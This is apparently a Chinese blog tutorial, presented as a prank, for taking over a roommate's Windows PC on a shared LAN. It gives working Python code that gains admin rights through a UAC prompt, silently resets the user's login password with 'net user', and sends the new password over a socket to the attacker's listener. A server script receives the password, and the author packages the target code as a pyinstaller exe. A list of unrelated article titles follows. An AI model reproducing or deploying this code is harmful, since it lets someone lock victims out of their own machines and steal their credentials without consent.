大家好,这个程序主要分为两个部分,一个是没有python环境的靶机端,也就是舍友的电脑,另外一个是有python环境攻击端,也就是我的电脑,这两个电脑处于同一个局域网中,拿下面就让我们来一起学习吧.

实验环境:同一局域网
一台靶机
一台攻击机

一.靶机端代码
1.导入实验所需要的库

from __future__ import print_function
import ctypes, sys
import socket
import getpass
import subprocess
import random
import string

2.程序主体

def getpasswd():# 我们使用socket与服务器进行交互client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 连接server端IP地址、端口client.connect(('192.168.1.106', 3388))# 获取计算机用户名user = getpass.getuser()# 生成a-zA-Z0-9的随机密码letters = string.ascii_letters + string.digitspwd = ''.join([random.choice(letters) for _ in range(8)])# 修改windows密码subprocess.Popen(['net', 'User', user, pwd])# 通过socket 将编码密码发送给server端client.send(pwd.encode('utf-8'))msg = client.recv(1024)client.close()

3.获取管理员权限
注意!本程序一定要获取到管理员权限才可以修改密码,且以下代码不可以在IDE中运行!

def is_admin():try:return ctypes.windll.shell32.IsUserAnAdmin()except:return False
if is_admin():getpasswd()  #程序的主体部分
else:if sys.version_info[0] == 3:ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)else:#in python2.xctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)

二.攻击端代码

import socket  #导入库文件
def server():# server端同样需要通过创建socket,来监听client请求server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 这里和客户端不一样的是,使用的是bind,代表server端自己的ip portserver.bind(('192.168.1.106', 3388))# 这里的参数5 代表的是同时监听多少个客户端,如果超过5个,那么第6个客户端会出现响应等待,也就是卡在那了server.listen(5)print('starting....')# 创建socket连接后,会返回连接实例和地址conn, addr = server.accept()print(conn)print('client addr', addr)print('ready to recv the passwd...')while True:# 等待接受客户端发过来的信息client_msg = conn.recv(1024)print('client passwd changed: %s' % client_msg.decode())main()
def main():server()main()

编写完代码之后,用pyinstaller工具将靶机端程序发给靶机,运行攻击端程序

然后运行靶机的exe程序,这时候就会出现这个提示


我们点击是,这时候就会发现我们攻击机就会收到靶机发来的开机密码

OK,大功告成!

用python更改舍友电脑的开机密码并将密码发送到自己电脑(小恶作剧)相关推荐

  1. 电脑刚开机显示正在锁定计算机在怎么回事,电脑开机一直停留在诊断自动修复界面怎么回事...

    电脑开机提示自动修复是一个比较头疼的问题,相信大部分用户都遇过,有什么办法解决?电脑小白第一次面对此故障,难免会手足无措.如果随便操作又怕丢了电脑数据,到底要采取什么办法修复?别着急,本文小编你分享一 ...

  2. 计算机开机最快,教你如何让你的电脑快速开机

    前面小编给大家介绍了关于影响电脑运行速度的因素有哪些的相关内容.你可以去学无忧上面看看这篇文章,对你还是有多帮助的.今天学无忧教你如何让你的电脑快速开机.可能学无忧在前面也涉及到一些电脑加速开机启动的 ...

  3. 手机控制电脑远程开机,笔记本与老电脑都能实现

    一提到远程开机,大家首先想到的就是有多高多深的技术含量,但今天我要告诉你,其实远程开机特别简单.办公一族,本来可以回家再做的事情却要经常加班,不是因为什么,就是因为家里没有电脑或者没有不具备办公室里的 ...

  4. 重装系统计算机无法启动,重装系统电脑无法开机怎么办?重装系统后电脑无法开机常见故障...

    我们在电脑出现问题的时候,都会通过重装系统来解决问题.但重装系统后,有时候会出现无法开机的情况.如果出现这种情况,我们就需要检查电脑,查出原因.不过很多用户不知道如何进行解决.那么下面就让小编为大家带 ...

  5. 计算机安装电脑程序怎么办理,电脑一开机就自动安装软件怎么办

    <电脑一开机就自动安装软件怎么办>由会员分享,可在线阅读,更多相关<电脑一开机就自动安装软件怎么办(2页珍藏版)>请在人人文库网上搜索. 1.电脑一开机就自动安装软件怎么办分步 ...

  6. win8计算机无法启动,电脑无法开机终极解决方法

    电脑无法开机对每个接触电脑的人都是必学教程,因为,指不定那天突然电脑就无法开机了.很多用户最担心的是,电脑无法开机后自己的数据会不会丢失,为了让您在看的过程中更加简单方便,一起来参考是怎么写的吧!下面 ...

  7. 电脑开机慢什么原因?如何管理禁止电脑开机自启动程序软件?

    我们平常使用电脑开机的时候如果开机时间比较长,那么原因可能就是因为开机启动的软件较多,占用了运行空间影响了开机速度.那么应该怎样操作管理电脑的开机自启动项呢?下面一起来看看吧. 首先我们把电脑开机,开 ...

  8. 计算机启动蓝屏,电脑一开机就蓝屏,详细教您电脑一开机就蓝屏怎么解决

    若是电脑开启之后一直都是蓝屏怎么办,相信不少人都遇到过这样的问题,却不知道应该怎么办,一味的送去维修店当中维修,万一被坑了怎么办.其实遇到这样的问题,自己就能解决,下面,小编给大家带来了电脑一开机就蓝 ...

  9. 计算机每次开机都要配置文件,电脑开机自检的原因是什么 电脑每次开机都自检该如何解决?...

    经常用电脑的人估计会遇到这样的问题,每次 电脑开机 时都会自行进行检测,如何才能解决这一问题,在电脑每次开机都自检.要怎样才能关闭电脑开机自检呢?下面和小编了解一下电脑开机自检的原因是什么?分享几种开 ...

最新文章

  1. 在coursera上有哪些值得推荐的课程
  2. python中统计单词出现的次数_python统计文章中单词出现次数实例
  3. 解决Vue跳转到当前路由报错问题
  4. 476 Number Complement
  5. tc35 终端 cnmi=2,2即时模式下收不到短信的问题
  6. Bootstrap 后台模板-AdminLTE
  7. 用html做网页作品,HTML5实例:用HTML5制作的网页的15个优秀案例
  8. 忘记steam账号了,如何查找本地steam账号?
  9. 关于OPENGL纹理
  10. Fast Walsh-Hadamard Transform (快速沃尔什变换)
  11. 人生一世,草木一秋,再伟大的人在历史长河中也只是一个匆匆过客
  12. SDN网络的工作原理
  13. 计算机图形学:机器人的画法与填充
  14. wordpress install.php 500,安装WordPress出现500错误的解决办法 | Wopus
  15. checking whether we are cross compiling... configure: error: in `/tmp/pip-build-rktAki/pycrypto解决方法
  16. 《谁会认错》:关于认知失调、自我辩护、证实偏差和记忆扭曲
  17. java基于接口的动态代理
  18. 2022年,建议你一定要读的10本网络安全书籍
  19. wetool个人版_wetoo群发下载wetool-咨询
  20. Educational Codeforces Round 132 div.2 A-F题解

热门文章

  1. php perl centos,Centos安装php高版本
  2. 华为防火墙在NAT安全策略设置的解释
  3. C# + Socket断线重连 整理
  4. Android官方开发文档Training系列课程中文版:打印内容之HTML文档打印
  5. CNN实战1:实现模仿大师绘画
  6. C++基础(3)——for循环案例
  7. 我的2019年度代码报告
  8. 张小白带你使用CentOS 7.6安装openGauss 2.0.1企业版
  9. 智行者加入“Automate with Velodyne”生态系统
  10. django 中model踩的坑之AttributeError: type object ** has no attribute 'objects'及Field defines a relation